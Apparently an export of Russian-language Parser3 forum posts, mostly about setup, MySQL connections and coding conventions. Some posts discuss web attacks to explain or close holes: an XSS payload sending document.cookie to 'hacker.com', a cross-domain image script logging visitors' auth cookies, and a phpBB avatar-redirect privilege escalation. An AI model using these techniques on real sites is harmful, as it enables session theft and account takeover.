"50684","Вышла версия 3.1, где это учтено - прописал кодировку в unhandled_exception.\
(Версия - так называемая bugfix'овая, заметные перемены будут только в следующей версии.)"
"50687","создание для web приложения GUI frontend, \
это вполне нормальное, и хорошо отработанное решение. \
\
Только за методы работы с собой все равно должно полностью отвечать web приложение, примерами могут служить многочисленные оконные приложения для работы с разными weblog системами поддерживающие  \
Blogger XML-RPC APIs, ведь не по ftp же файлы готовые на сервер грузить – тогда о каком цельном приложении речь.\
\
Парсер с XML дружит и ура на этом.\
Но, насколько я помню, среди тех же блогов не видел примера, чтобы был GUI frontend и совсем не было веб интерфейса. Отказываться от него было бы сумашествием."
"50688","Ваше краткое описание Engine v3, когда-то вдохновило на написание внешне чего-то подобного, а оказывается \" там Dom не очень сильно используется\"\
\
что же мы тут понаделали, :)"
"50691","Не вижу большой надобности в GUI для CMS, будущее за веб-интерфейсами."
"50694","Стилями или тем же JavaScript так, чтобы параметр scr не мог трактоваться как скрипт?"
"50695","диагноз: нужен parser 3.1.2 как минимум"
"50696","есть еще как минимум два нехороших момента:\
\
вставив на ваш сайт [i]картинку[/i] с внешнего (своего) ресурса, посетитель ставит такую страницу \"на счетчик\" (\"на сниффер\" если угодно) - теперь он знает кто, чем, когда и откуда туда заходил, он может, например, синхронизировать эту информацию с временем комментариев, etc. Плюс если вы передаете идентификатор сессии в строке адреса, ему это все приходит как реферер, и при определенных обстоятельствах (отсутствие таймаута, нет привязки к IP) он сможет украсть чужую сессию и нагадить, или еще чего сотворить.\
\
Или есть вариант еще прикольнее - применялся, если не ошибаюсь, в том-же phpBB. Суть в том что можно было поставить себе аватаром картинку с внешнего сервера. Вместо картинки ставился простейший скрипт, делающий внешний редирект на определенный адрес форума, с параметрами, необходимыми для поднятия привилегий пользователя до администраторских. Разумеется, \"чудо-адрес\" редиректа срабатывал только в контексте привилегий администратора. И когда ничего не подозревающий админ заходил на страницу с таким \"аватаром\", он сам того не подозревая... ну дальше все понятно.\
\
вобщем, прежде чем разрешать безобразие с внешними картинками, стоит хорошо подумать."
"50697","можно попробовать так:\
[code]$remoteTypograf[^file::load[binary;http://typograf.artlebedev.ru/webservices/typograf.asmx?parserClient;\
	$.method[POST]\
	$.charset[utf-8]\
	$.headers[\
		$.Content-length[^SOAPbody.length[]\
\
^untaint[as-is]{$SOAPBody}]\
	]]]\
[/code]\
не проверял, но по идее в 3.11 должно работать..."
"50698","Что Вы думаете по поводу вынести методы работы с внутренними ошибками в отдельный класс? По крайней мере можно было бы пользоваться одним классом для обработки всех нужных ошибок на сайте.\
Может быть я не допонял суть этих методов. Возможны ли быть какие-нибудь неудобные нюансы?"
"50699","набор всяких полезных модулей, которые позволяют управлять собой через достаточное количество параметров.\
Принцип:\
скачал модуль, скопировал в свой сайт, подключил модуль, почитал доку по интерфейсу взаимодействия с модулем, создал объект, вызвал свойства или методы этого объекта - быстро дёшево сердито получил результат.\
\
Если функционал мал, то залез в исходникик, добавил что-то, модифицировал, отправил автору модуля соответствующие пожелания по улучшению или сам выпустил конкурирующий модуль решающий схожие задачи.\
\
Главное здесь не утонуть в множестве однотипных модулей.\
Проблема в том, что парсер достаточно хороший и УДОБНЫЙ(!!!!) конструктор. Здесь же товарищи пытаются говорить о создании метаконструктора."
"50700","Просто интересно\
\
Можно автоматически вызывать функции:\
\
[code]\
^if(def $part){\
^use[/private/module/${part}.p]\
^self.$part[]\
[/code]\
\
А можноли вызвать автоматически функцию из класса ? Тоесть должно быть что то типа этого ? Или вообще сделать этого нельзя ?\
\
[code]\
^if(def $part){\
^use[/private/module/${part}_class.p]\
^self.$part::test[]\
[/code]"
"50701",">> в предыдущем посте я просил сообщить информацию о $SQL.drivers и о том, получается-ли у тестового скрипта подключиться к БД.\
\
Я проделал элементарную вещь - в файле index.html записал код\
^MAIN:pSQL.server{ \
   $messages[^table::sql{select name, passwd from auser}] \
   ^messages.menu{$messages.name	$messages.passwd}[<br>]\
} \
\
и все работает.\
\
>> вы приводите лишь часть запрощеной информации + пачку ненужного. приведите плиз то, что я у вас просил (там прямо буковки написаны: 'Работа с SQL...').\
\
Работа с SQL\
^int:sql{SELECT 2+2}: 4\
\
>> и ещё: не правьте auto.p из архива. переменную $SQL.connect-string определяйте в конфигурационном auto.p вашего сайта, в противном случае номера строк мне не говорят ни о чем, т.к. у вас измененный файл.\
\
Ошибку выдает на конфигурационный auto.p моего сайта, на строчку \
$SQL.connect-string[mysql://root@localhost/authdb]\
Кроме этой строчки в @auto[], в файле auto.p моего сайта не ничего, кроме разве что \
@main[]\
^body[]\
\
>> и напоследок: вместе с ошибкой желательно приводить весь Stack Trace. \
\
Чесслово не знаю что имеется ввиду под Stack Trace, но в логах ошибка не записывается. Только в окне браузера пишет /auth/_auth_info.html?73: x:/home/auth.ru/www/auto.p(11:21): 'connect-string' element can not be stored to void [parser.runtime]\
\
Я даже установил новый Денвер, поднял парсер до 3.2. Поставил последние mysql.p, auth.p.\
Я текст из примера про класс авторизации уже наизусть выучил.\
В файле _auth_info.html ввожу логин и пароль, нажимаю \"войти\", и выдает эту ошибку. На панели браузера нажимаю \"назад\", а я уже залогинен, и есть вся инфо о пользователе. То же самое с кнопкой \"завершить работу\". Нажимаешь - ошибка, \"назад\" - и ты разлогинен."
"50702","Ведь можно использовать уже готовые среды разработки, главное - поддержка их Парсером..."
"50703","коллеги, не проходите мимо.\
если кто не понял, о чём тут речь:\
берётся в руки мышка, и рисуется набросок будущей структуры классов вашего проекта.\
причём так же удобно, как до этого вы рисовали структуру вашей будущей базы данных.\
\
раньше вы нажимали на кнопочку generate, и… в DB появлялись ваши таблички.\
теперь вы нажимаете на эту же кнопочку, и… получаете ваши классы (со свойствами и наследованием).\
\
увы, собственно код, почему-то по-прежнему нужно писать самому ;)\
\
\
критерий: MS посчитала этот подход (нарисовать структуру классов и подумать над ней до, а не после) жизненно необходимым и встроила этот инструмент прямо в VisualStudio2005.\
\
для нас с вами постарался Sybase: и до счатья остался лишь шаг: набросать шаблоны Parser классов для PowerDesigner.\
\
кто сделает: выложим ссылку и опубликуем публичную благодарность.\
просьба сразу положить на страничке пару говорящих за себя картинок [диаграмка-код]."
"50705","ну написана в <img src ссылка на скрипт, что с того?\
пожалуйста, приведите адрес страницы, которую я открою, и произойдёт хоть что-нибудь? плохое/хорошее не важно."
"50706","фабрика.\
\
а вообще — можно всё, см. документацию на ^process."
"50707","безусловно, от глупого слепого спамящего робота… картинки = перебор.\
тут может и 1см бордюрчика хватить.\
\
но если строить забор, то уж хотя бы замкнутый :)\
\
недавно попался такой вот спамофильтр:\
http://bk.default.ru/guestbook.html (end)\
[quote]\
поле Секретная комманда:\
Из-за частой рекламы хочу отсеять спамеров, большинство из которых никогда БК в глаза не видело, и совести у них нет. БК-шники надеюсь не занимаются грязным спамом. Для добавления записи в гостевую книгу вместо этого текста введите комманду запуска программы (та, которая S + адрес). Если Вы не помните, то ничего страшного, я после опубликую запись.\
[/quote]"
"50708","А разве сейчас не так? Раздел \"примеры\" содержит \"модули\" и краткое описание и можно их качать и легко подключать и использовать. А также иногда можно и модифицировать для добавления нужного функционала. Есть простые \"модули\", есть сложные... И также любой может добавить свой \"модуль\" если он грамотно сделан и будет полезен не только автору, но и другим.\
\
Как предложение по пополяризации Парсера, предлагаю просто не ограничиваться официальным форумом, а также всячески пропагандировать Парсер в других форумах и сообществах. \
Кстати у нас же есть своё сообщество в жж ([url=\"http://community.livejournal.com/ru_parser/\"]ru_parser[/url])\
почему там никто не пишет?\
Вообщем многое зависит от нас..."
"50709","Здравствуйте!\
Сразу скажу что я новичок.\
А проблемма в следующем. Нет коннекта с MySQL сервером.\
Парсер проинсталил в каталог c:\\parser\
Сайт находится в c:\\inetpub\\wwwroot\\имя_сайта\
Там же находится мной созданный auto.p\
Суть вопроса - как мне создать коннект к базе MySQL. Сервер запущен и база c которой коннект нужен есть. Все на этой же машине. Из PHP коннекчусь и работаю с базой без проблемм.\
Что нужно прописать в файлах конфигурации? Все делал как в описании написано.\
Ошибка: admin.html(10:2): 'connect' connection string must start with protocol:// [parser.runtime]"
"50710","В документации ЯВНО не указано, что file::stat работает только с локальными файлами, но простой эксперимент установил, что это так.\
\
Подскажите, пожалуйста, как узнать атрибуты файла (size, mdate etc) с удаленного HTTP-сервера без его загрузки?\
В поиске что-то ничего про это не нашел"
"50711","Устанавливаю Парсер на http://www.hoster.ru Не стаиться совсем снова Premature end of script headers: parser3.cgi Причём пробовал и версию \
freebsd и redhat\
\
Никто не имел дело с этим хостингом ? Права доступа на папку cgi-bin 770 Может из-за этого ?"
"50712","http://www.parser.ru/download/utils/ - скачайте test.zip, распакуйте, положите в корень и запустите. результаты сюда доложите."
"50713","Каждый лепит свои примерчики так, как считает нужным. Нет стандартов на:\
- Доки\
- API классов\
- Стиль написания кода"
"50714","Вот скопировал часть результата работы _test.html\
\
$CHARSETS:\
Не определена таблица с кодовыми таблицами ($CHARSETS). \
Возможно у вас не обрабатывается конфигурационный auto.p \
$SQL:\
Не определена таблица с драйверами ($SQL.drivers) \
Возможно у вас не обрабатывается конфигурационный auto.p \
DOCUMENT_ROOT: не определен\
Путь к скрипту: C:/Inetpub/wwwroot/grad_invest\
$response:charset: UTF-8\
$request:charset: UTF-8\
$request:uri: /_test.html\
$request:query: \
$SQL.connect-string: не определена\
$MAIL.SMTP: не определена\
$CLASS_PATH: не определен\
\
Вот если можно поподробнее как описывать таблицу драйверов. И в каком auto.p ее прописывать. В том что лежит с каталоге где проинстален parser или в корневом каталоге сайта ?\
Или там и там ?"
"50715","Конфигурационный файл ( http://www.parser.ru/docs/lang/parserconfig.htm ) положить надо рядом с парсером, а не в корень сайта.\
\
И тут всё читал: http://www.parser.ru/docs/lang/?install4iis.htm ?"
"50716","http://www.parser.ru/forum/?terms=Premature+end+of+script+headers&search_in_message=1&author=&doSearch=%CD%E0%E9%F2%E8"
"50717","Сейчас все определил.\
DOCUMENT_ROOT: не определен\
Путь к скрипту: C:/Inetpub/wwwroot/grad_invest\
$response:charset: WINDOWS-1251\
$request:charset: WINDOWS-1251\
$request:uri: /_test.html\
$request:query: \
$SQL.connect-string: определена\
$MAIL.SMTP: определена\
$CLASS_PATH: не определен\
\
Но!\
\
Работа с SQL\
^int:sql{SELECT 2+2}: Не удается подсоединиться к SQL серверу. Возможно неверно заданы имя/пароль в строке соединения. \
Логин/Пароль верен."
"50718","Ну чудес-то не бывает. Раз пишет, что неверны данные - значит так оно и есть.\
\
Сделай в корне ещё одну тестовую страничку _test2.html например) в которой:\
[code]\
@main[]\
\
^_t1[]\
#end @main[]\
\
@_t1[]\
^connect[<ТУТ ПРОПИШИ РУЧКАМИ ДАННЫЕ ДЛЯ mysql://user:password@host/database>]{SELECT 2+2}\
\
@_t2[]\
^connect[$SQL.connect-string]{SELECT 2+2}\
[/code]\
\
И погляди что получится. Потом измени ^_t1[] на ^_t2[] и опять посмотри.\
\
Если @_t1[] работать не будет - проверь ещё раз данные подключения."
"50719","Спасибо за подсказки и помощь в моем не легком деле...\
Дошло как включить нормальный дебаг :)\
после этого все встало на свои места.\
libmySQL.dll прописал от поставки к серверу MySQL. И все заработало :)\
Проблемма в клиенте :)"
"50721","Прошу прощения. Но можно ли как-нибудь вытащить права на объект не для залогиненного пользователя, а для произвольного, конечно заведенного в базе. Вот возникла такая потребность, а я сижу и туплю. Подскажите, пожалуйста!"
"50722","Ну хорошо. А может попытаться с этого и начать? CMS уже, по моему, сотни самых разных разрабатывается, что гарантирует отсутствие в ближайшем будущем самой простейшей. да её и собрать не из чего, опять-таки :)\
\
Может попробуем хотя бы нотации на стили написания кодов выработать? Глядишь и появятся потихоньку унифицированные библиотечки, а не только примеры. А потом, когда библиотечек набежит, можно из них что-то и собрать воедино будет."
"50723","Я не уверен, что там могло быть, потому как сейчас эффекта нету, хацкеры, видать, убрали скрипт. А так в коде сообщения было:\
\
[img=\"http://gothix.ru/test/image.gif\"]test[/img]\
\
В результате обработки этого получается:\
\
<img style=\"border: 0px none ;\" id=\"upimg\" src=\"http://gothix.ru/test/image.gif\" alt=\"test\">\
\
Это вызывало запрос к скрипту внутренних сообщений и рассылке всякой хрени. \
\
Теперь вот пытаюсь понять, как такое можно было сделать, дабы закрыть дыру.\
\
Сессии у меня через куки с привязкой к IP, кроме того во всех значительных настройках проверяется реф, чтобы небыло сабмитов форм с других сайтов."
"50724","Мне надо выбрать:\
\
[code]<(div|span|p) style=\"text-align: (center);\">(.*)</\\1>	gi	<$match.2>$match.3</$match.2>[/code]\
\
Но так, чтобы в (.*) не было завершющего тэга \\1. Данный код выбирает все, до последнего \\1. А мне надо до первого. [b]Ньюанс:[/b] всередине данного тэга возможны другие тэги..."
"50725","[code]http://hack-expo.void.ru/people/XSS.html[/code]\
Ctrl+F [i]поможет “фокус” с Location[/i]"
"50726","есть поле в бд `content` text NOT NULL\
\
если положить в это поле текст из <textarea> то текст слипнеться... то есть все новые строки сольются в одну строку\
как сделать так, чтобы не писать <br> при абзаце?"
"50727","но я записываю в бд мои данные $text через \
^text.match[\\n][g]{^taint[as-is][<br />]}"
"50728","первым делом это сделал... не помогло"
"50729","даст вам желаемые\
[code]\
$f.CONTENT-LENGTH\
$f.LAST-MODIFIED\
[/code]"
"50730","сделайте то, что там написано по пунктам.\
если не разберётесь, расскажите\
по\
пунктам\
что делали и что получали."
"50731","обсуждалось не раз и не два. все варианты были рассмотрены.\
давайте не будем толочь воду."
"50732","Допустим я хочу в одном скрипте совместить php и Parser как быть с обработчиком?"
"50733","Читай классику.\
\
было: (.*)\
стало: (.*?)"
"50734","Ну них*ясе. Месяц назад спрашивал то же самое.\
http://www.parser.ru/forum/?id=50075"
"50737","В случае одного метода для хеша hash имеем:\
[code]^hash.[field].method[][/code]\
\
А как вызвать для объекта или его поля последовательно несколько методов...\
Не писать же\
[code]$hash[^hash.method1[]]\
$hash[^hash.method2[]][/code]\
\
Есть более изящное решение?"
"50738","Если файл не меняется, то рекомендую руками измерить его состояние и не использовать «простукивание» — мне в свое время Adobe закрыл доступ к http://ftp.adobe.com/pub/adobe/acrobatreader/win/5.x/ — я по дурости постоянно измерял размер инсталляции Adobe Reader."
"50740","а может стоит эту фичу реализовать в кострукторе stat для единообразия?\
Ну или хотя бы в документации отразить как то..\
\
Большое спасибо :)"
"50741","Я установил Parser/3.2.1sp1 (compiled on i386-pc-win32).\
При попытке запустить пример веб-сервиса Типографа выдается ошибка:\
[quot]remotetypograf.p(89:10): 'xdoc' class is undefined[/quot]\
\
Код:\
[code]$soapResponse[^xdoc::create{^untaint[as-is]{$remoteTypograf.text}}][/code]\
\
В чем проблема?"
"50742","Ребята, я не ожидал, что вы без меня тут сами это так живо будете обсуждать. Я подумаю на своими ответами и отвечу. Спасибо всем, что откликнулись!"
"50743","На сайте [url=\"http://www.typograf.ru/\"]Типограф.ру[/url] можно скачать Типограф классом Parser'а.\
Правда он «старенький», но при необходимости можно самостоятельно добавить правила."
"50747","Моя версия - не панацея. Возможно товарищ решил доверить тексты АЛГ. Чтож его право.\
\
P.S. Удалённый доступ к моему \"Типографу\" будет возможен с апреля месяца. Осталось не долго."
"50750","черт у меня тоже самое, искал поиском по форуму а тут ответа нет ("
"50751","однако в связи с возникшими идеологическими затруднениями в переписывании класса точно сказать когда закончу не могу."
"50752","[quote]Чесслово не знаю что имеется ввиду под Stack Trace, но в логах ошибка не записывается[/quote]\
\
когда включите debug режим вывода парсером сообщений об ошибках то этот stack trace должен быть под сообщением об ошибке. хотя если вы используете денвер то я не знаю какой там метод выводящий сообщение об ошибке. может этого и нет.\
\
[quote]Поставил последние mysql.p, auth.p.\
Я текст из примера про класс авторизации уже наизусть выучил.[/quote]\
\
хм. заархивируйте ваш конфигурационный auto.p (лучше без пароля), корневой auto.p, mysql.p, sql.p, auth.p и _auth_info.html и отправьте на мой email: misha _собака_ design.ru"
"50754","согласен. предлагаю начать."
"50755","Вот подключил последний класс авторизации (работает корректно)\
и хочу к примеру вывести [b]список всех зарегистрированных пользователей[/b] его методом\
вот код на странице\
\
[code]^MAIN:pSQL.server{\
$auth_data[^auth::init[$cookie:CLASS;$form:fields;$.сsql[$MAIN:pSQL]]]\
# тут я хочу получить таблицу пользователей\
$test[^auth:getAllUsers[]]\
}[/code]\
\
но он ругается и пишет\
[b]Unhandled Exception (Debug)\
\
undefined method table[/b]\
\
и ругается на вот эту строку в auth.p\
[code]$result[^csql.table{[/code]\
\
я так понимаю что не создан наверно объект $csql\
но разве его не создают эти строчки?\
[code]^MAIN:pSQL.server{\
$auth_data[^auth::init[$cookie:CLASS;$form:fields;$.сsql[$MAIN:pSQL]]][/code]\
\
вообщем, я ничего не понимаю"
"50757","Я так понимаю ему надо подсунуть другой acl? Т.е. фактически перекрыть GetFullACL чтобы он вытаскивал acl-ки не для текущего, а для заданного пользователя. а потом уже скармливать их методу из сабжа?\
Не просто все же разбираться в чужом коде. Подскажите, если не очень влом."
"50758","Проблема у меня сейчас такая, на сайте вывожу я фотографии при помощи ^file:list http://nightlab.by/gallery/\
Но проблема в том, что когда фоторафий больше 100 они начинают выводится не попорядку, а по непонятному мне правилу, хотя имена файлов ввожу 001, 002...100, но программный код выводит мне список с таким порядком 001, 002, 003, 136, 135...004"
"50759","не только.\
\
да, getFullACL изначально достает ACL текущего пользователя, и чтобы достать ACL произвольного надо или перекрыть его или написать новый аналогичный (изначально то вопрос задавался про метод getRightsToObject кажется)\
\
поэтому достать ACL для других пользователей и скормить его этому методу проблем не составляет. но... когда метод дойдет до определения прав пользователя на root там он возьмет... $user.rights и $user.groups.rights, а вот это как раз права на root текущего залогиненого пользователя.\
\
сейчас я переписываю класс авторизации и пока у меня получается такое:\
- есть отдельный класс ARights, который заведует вычислением прав\
- в нем есть метод @getFullACL[oUser;uObjectIds] который достает ACL для пользователя $oUser на объекты $uObjectIds\
- есть метод @getRightsToObject[oUser;hObject;tThread;hAcl]. думаю понятно по параметрам что он делает, НО его интерфейс будет изменен, т.к. мне не нравятся $hObject и $tThread."
"50760","Добрый день!\
\
Подскажите пожалуйста, возможно ли выставление прав на файлы средствами parser3 (т.е. нужен аналог unix-ового chmod). В частности интересует это при создании кэшей.\
\
\
Заранее спасибо.\
--\
С уважением,\
Avramenko Andrew"
"50761","комментарий PAF-а на этот счет есть в [url=\"http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/operators.txt?rev=1.178.6.1&content-type=text/vnd.viewcvs-markup\"]operators.txt[/url]"
"50762","[code]# name conventions:\
# ClassName		- class name\
# methodName	- method name\
# $VAR_NAME		- public variable (uppercase without prefix for type)\
# $iVAR_NAME	- privat variable (uppercase with prefix for type)\
# $iVarName		- local variable[/code]"
"50763","Офигенно, а если сложная система прав на сервере стоит? \
\
Ну давайте сделаем так чтобы +rw можно было добавлять. Я не хочу каждый раз выставлять права логинясь из-под рута, а давать программистам права через sudo еще более небезопасно.\
\
Если добавлять chmod +rw в основной релиз не будут, то если не затруднит, киньте хотя бы патчик, чтобы я сам накладывал."
"50764","а что вам мешает написать скрипт на удобном для вас языке, который будет вызываться парсером, получать от него параметром файл/каталог и устанавливать права? тяжело один раз права этому скрипту дать?"
"50765","в httpd.conf, сразу после строки[code]AddHandler parser3-handler html[/code]напишите[code]<Location />\
	# Разрешает использовать встроенный класс status Парсера:\
	ParserStatusAllowed\
</Location>[/code]Моя ошибка - забыл. В следующей версии \"ножика\" будет поправлено."
"50766","А отсюда http://tony2001.phpclub.net/doc/standard/index.html что-то пойдёт, как тебе видится? Надо какую-то \"рыбу\" за основу взять, имхо."
"50767","Можно ещё вот тут посмотреть: [url=\"http://pear.php.net/manual/ru/standards.php\"]Стандарты кодирования PEAR[/url]"
"50768","там тема раскрыта :)\
\
нет одного лучшего. есть несколько хороших, но разных.\
надо на чём-то остановиться. заодно язык накладывает некоторые ограничения.\
\
собственно когда я буду обновлять свои классы там будет все изменено в соотв. с новой принятой [i]мной[/i] конвенсией."
"50769","Ностинг hoster.ru\
\
Система FreeBSD\
Папка cgi-bin права 770\
parser3.cgi ( под FreeBSD закачанный в бинарном режиме ) права 755\
\
Скрипт выдаёт: Premature end of script headers: parser3.cgi\
\
Служьа поддержки выдаёт:\
-----------------\
Здравствуйте.\
\
Операционная система - FreeBSD, на одном из хостинговых серверов Parser3\
уже установлен.\
\
С уважением,\
Юрий Горкин \
---------------------\
\
и\
\
----------------------------------\
\
\"ошибка, которая у вас есть, не связана с аттрибутами папки. \
Ошибка связана с работой вашего скрипта. Что за скрипт вы пытаетесь\
запустить? Вы уверены, что он будет работать на 64 битной платформе?\" ( это они про parser3.cgi )\
\
Посоветуйте что делать ?"
"50770","Как написано здесь\
http://www.parser.ru/docs/lang/filelist.htm на выходе мы получаем таблицу которую можно\
http://www.parser.ru/docs/lang/tablesort.htm"
"50771","Этот вопрос скорее философский чем предметный. Он касается наименований функций и переменных. Каждый раз, когда рождается идея, которая позже преобразовуется в функцию или даже класс, она провоцирует на появление новых имен.\
\
Парсер дает много возможностей для наименования функций и переменных: можно использовать регистр символов, подчеркивания, числа... Но! Как бы так все это систематизировать и упорядочить?\
\
У кого какие идеи?!"
"50772","1. продолжать обсуждение в уже существующем треде где об этом говорят\
2. купить/скачать и почитать книжки. в них пишут умные вещи."
"50774","Нет, выпуск IDE не планируется.\
Возможно для отладки что-нибудь добавим, но не более того."
"50776","1. Добиться работоспособности из shell.\
\
Если есть shell, запустить из shell, если нет, сделать cgi скрипт на shell, который запустит парсер как parser3.cgi 2>&1, чтобы увидеть stderr.\
\
2. Если из shell работает, а через веб-сервер не работает, смотреть ошибки в логах сервера."
"50778","Если будет предложение по разработке плагина к eclipse, можно обращаться за помощью?"
"50779","Дал бы хоть ссылку человеку: http://www.parser.ru/forum/?id=50722"
"50780","2PAF. подробности:\
\
на сайте_1 создал файл /_t_security.html:\
\
[code]\
<html>\
<body>\
<img src=\"http://сайт_2/_t_img.html\" width=\"100\" height=\"100\" />\
</body>\
</html>\
[/code]\
\
на сайте_2 (в другом домене) создал файл /_t_img.html содержания:\
[code]\
<html>\
<body>\
$str[^dtf:format[%Y-%m-%d %T]	$env:HTTP_REFERER	$cookie:[auth.name]^#0A]\
^str.save[append;/../data/cookie.log]\
</body>\
</html>\
[/code]\
\
при открытии http://сайт_1/_t_security.html в любом моем броузере Opera 9, IE 5.5, FF 1.5.0.2 наблюдаю в cookie.log значение куки. \
\
т.е. зная какую куку красть (например auth.sid/auth.uid для наших сайтов или какую-то там для того-же phpbb) можно украв куку админа зайти под ним (в опере я могу прямо ручками куку отредактировать)...\
\
всю жизнь считал что броузер пошлет куки только если запрошен элемент в том-же домене, ан нет... грустно."
"50782","в тот момент когда он писал свое сообщение в левой колонке с последними сообщениями ссылка на твой пост была пятой сверху!"
"50783","Мышой ткнуть и копипасте человеку. А дальше пусть читает.\
\
ЗЫ. Тут и так все запуганные уже посыланием в фак :)"
"50784","не, тут в книжный магазин посылают"
"50785","1. Я не поисковый робот, чтобы знать все и вся происходящее на форуме parser.ru\
2. Я конечно могу поискать/купить книжки (но зачем тогда форум parser.ru?)"
"50788","Как скоро ты планируешь что-то выложить в \"твоём\" формате? Я считаю не уместным просить тебя заняться ерундой, вроде написания собственно нотации, но как только ты выложишь что-то как образец, я бы мог начать составлять талмуд анализирую твой код. Тебе бы оставалось только одобрять, вносить краткие замечания и проч. Такой вариант развития событий годится в качестве работего?\
\
ЗЫ. Думаю, что \"Нотацию\" надо делать в формате стандартного *.chm файла и выкладывать для скачивания и в онлайн. В общем по аналогии док к Парсеру. Если всё получится. то можно будет в очередной релиз справки по Парсеру включить ещё один раздел: \"Рекомендации по оформлению кода\"."
"50789","Предположим, попалась мне ссылочка [url=\"http://sourceforge.net/search/?words=\">><script>alert(document.location)</script>\"]такого вида[/url]. Меняем alert на InnerHTML = \"<img src='http://hacker.com/img.html?your_cookie=\" +document.cookie + \"' />\" и хакер получает возможность влезть на sourceforge под моим логином. [url=\"http://www.pointblanksecurity.com/xss/\"]Здесь больше примеров.[/url]\
\
Спасибо Александру за taint - слaва богу, в парсере надо постараться специально, чтобы открывать такие дырки у себя ниже ватерлинии."
"50790","З.Ы. заходим в полезные ссылки, копируем строку \"Совершенный код, С. Макконнелл\", открываем ya.ru, paste туда скопированную строку, дописываем \"скачать\" и нажимаем Enter. на первой же странице находим то что искали... Очень сложно? Аналогичный вариант (с изменениями ya на google) работает в 90% случаев..."
"50791","1. абсолютно согласен, продолжайте в том-же духе\
2. конечно-же форум нужен чтобы изучать алфавит"
"50792","Ну что, мужики? Пойдём, пошукаем? Когда ещё случай-то выдасться?\
\
http://www.artlebedev.ru/portfolio/web/ :)\
\
ЗЫ. У меня мобилка от МТС, что в общем-то радует :)"
"50794","Стандартов может быть много (бесконечно много), но лучшее враг хорошего - поэтому давайте совместно выработаем и примем стандарт кодирования и главное его опубликуем на этом сайте. \
Разработка и опубликование такого стандарта позволит более продуктивно вести разработки нашему сообществу по созданию парсер-SDK.\
Пока нету стандартов, все разработчики (и я в том числе) пытаются изобретать велосипед, каждый мнит себя супер-архитектором, у каждого свой стандарт. Много стандартов == отсутствие стандартов.\
Предлагаю Мише стать главным редактором данного стандарта."
"50795","Доброго времени суток!\
Имею вот такой вот простой код:\
[code]\
<form method=\"post\">\
Логин <input type=\"text\" name=\"login\"><br>\
Пароль <input type=\"text\" name=\"pass\"><br>\
<input type=\"submit\" value=\"войти\">\
$db[mysql://mylogin:mypass@localhost/mydb]\
^connect[$db]{\
$auth[^table::sql{select login, pass from users}]\
}\
^if($form:login eq $auth.login){\
^if($form:pass eq $auth.pass){\
работает\
}{\
не работает пароль\
}\
}{\
не работает логин<br>\
^auth.menu{\
$auth.login<br>}\
}\
[/code]\
Таблица sql выглядит следующим образом:\
[code]\
CREATE TABLE `users` (\
  `id` int(11) NOT NULL auto_increment,\
  `login` varchar(255) NOT NULL default '',\
  `pass` varchar(255) NOT NULL default '',\
  PRIMARY KEY  (`id`)\
)\
[/code]\
Созданны следующие пользователи:\
[code]\
INSERT INTO `users` VALUES (1, 'admin1', 'test1');\
INSERT INTO `users` VALUES (2, 'admin2', 'test2');\
[/code]\
При использовании логина admin1 и пасса test1, скрипт выдает результат \"работает\". При использовании логина admin1 и любого другого пасса, скрипт выдает \"не работает пароль\". Если же использовать admin2 и test2, скрипт выдает \"не работает логин\". Причем ^auth.menu выдает оба логина. Я голову сломал, такой простой код. Может не вижу ошибки какой? \
Спасибо за внимание."
"50797","Уже второй раз натыкаюсь на этот Ваш тред:\
[url=\"http://www.parser.ru/forum/?id=7835\"]дерево классов и самодокументирование[/url]\
Натыкаюсь, потому что сам пришел к примерно такой же идее, подумалось, что не могет такого быть, чтобы я был первый.\
Вопрос - сдвинулось ли что то в этом направлении с тех пор или так и умерло (или живет в чьих то закрытых исходниках, что то же самое?)."
"50798",".., а лучше даже кассиром :)\
\
\"...каждый мнит себя супер-архитектором..\" - я насчет себя не испытываю иллюзий :/ Стыдно, разумеется, но зато честно :)"
"50799","может давайте еще орфографические ошибки друг у друга искать? :)"
"50803","А зачем же ты свои примеры выкладываешь, на вопросы в форуме отвечаешь? Ты что же - не патриот Парсера, получается? :)"
"50805","Ну так auth - это же таблица и $auth.login - это ее первая строка в Вашем коде. Всегда. \
\
Используйте ^auth.locate[...\
[url=\"http://www.parser.ru/docs/lang/?tablelocate.htm\"]^table.locate[][/url]"
"50806","парсер для подобных случаев предлагает например [url=\"/docs/lang/mathcrypt.htm\"]такое[/url]."
"50810","А есть ли у кого-нибудь опыт работы с парсероп на этом хостинге?\
У них есть его поддержка???"
"50811","http://www.parser.ru/forum/?id=50789"
"50814","Вопрос по поводу популяризации глупый? Хорошо. Приводите аргументы."
"50817","Основываясь на коде [url=\"http://www.egoroff.spb.ru/\"]http://www.egoroff.spb.ru/[/url] я сделал более или менее законченную CMS-систему. Система постоена по модульному принципу, поэтому ее можно расширять по своему усмотрению. На данный момент пока работает только модуль для новостей.\
\
Для редактирования сайта сделана оболочка с WYSIWYG-редактором. Есть конечно кое-какие недочеты, но в целом, все достаточно удобно.\
\
Сайт для теста [url=\"http://city.apatity.fio.ru/\"]http://city.apatity.fio.ru/[/url].\
Доступ к редактору сайта: [url=\"http://city.apatity.fio.ru/?editsite=yes\"]http://city.apatity.fio.ru/?editsite=yes[/url]\
Возможность добавления и редактирования информации пока отключена.\
\
Через некоторое время я сменю адрес. Сегодня не удалось пробиться через прокси на работу до своего основного сайта, поэтому выкладываю все на временном сервере на работе.\
\
Кто заинтересовался – sepeda@mail.ru (просьба не спамить). Вышлю исходники.\
"
"50818","выкладываю т.к. не жалко и не особо стыдно их выложить. как ты заметил на вопросы по ним я не особо отвечаю.\
\
зачем на вопросы отвечаю? да умничать я просто люблю :)\
\
по теме:\
во первых вопрос соглашений по использованию имен считаю несколько \"религиозным\", а мне противно участие в любого вида религиозных споров.\
\
кроме того я не вижу интереса в этом т.к. не считаю что это не должны быть какие-то жесткие правила. например если я с одной name conventional должен буду работать над проектом с двумя людьми у которых она другая, я не буду упорствовать, а буду пользоваться их соглашением.\
\
ну и наконец я не вижу какую пользу подобная договоренность тут принесет лично мне. :)\
\
P.S. а причем тут патриотизм я не понял. более того считаю что  слово \"патриотизм\" чаще несет в себе негативный оттенок, особенно в последнее время."
"50819","Потому, что не вы автор Парсера. Популяризацией уже занимается студия, название которой написано внизу на каждой странице этого сайта. И поверьте, лучшее и завзятее их никто не сделает :)"
"50820","Какой логин/пароль?\
Я заинтересовался :) Можно мне?\
nikita@astra-design.ru"
"50821","Кто, если не вы (или ПАФ)?\
\
Представте если я объявлю, что, мол, ребята, давайте будем переменные обзывать так, а методы эдак. Даже если я обосную свое решение, кто меня будет слушать, когда на сайте куча ваших примеров написанных в вашем стиле.\
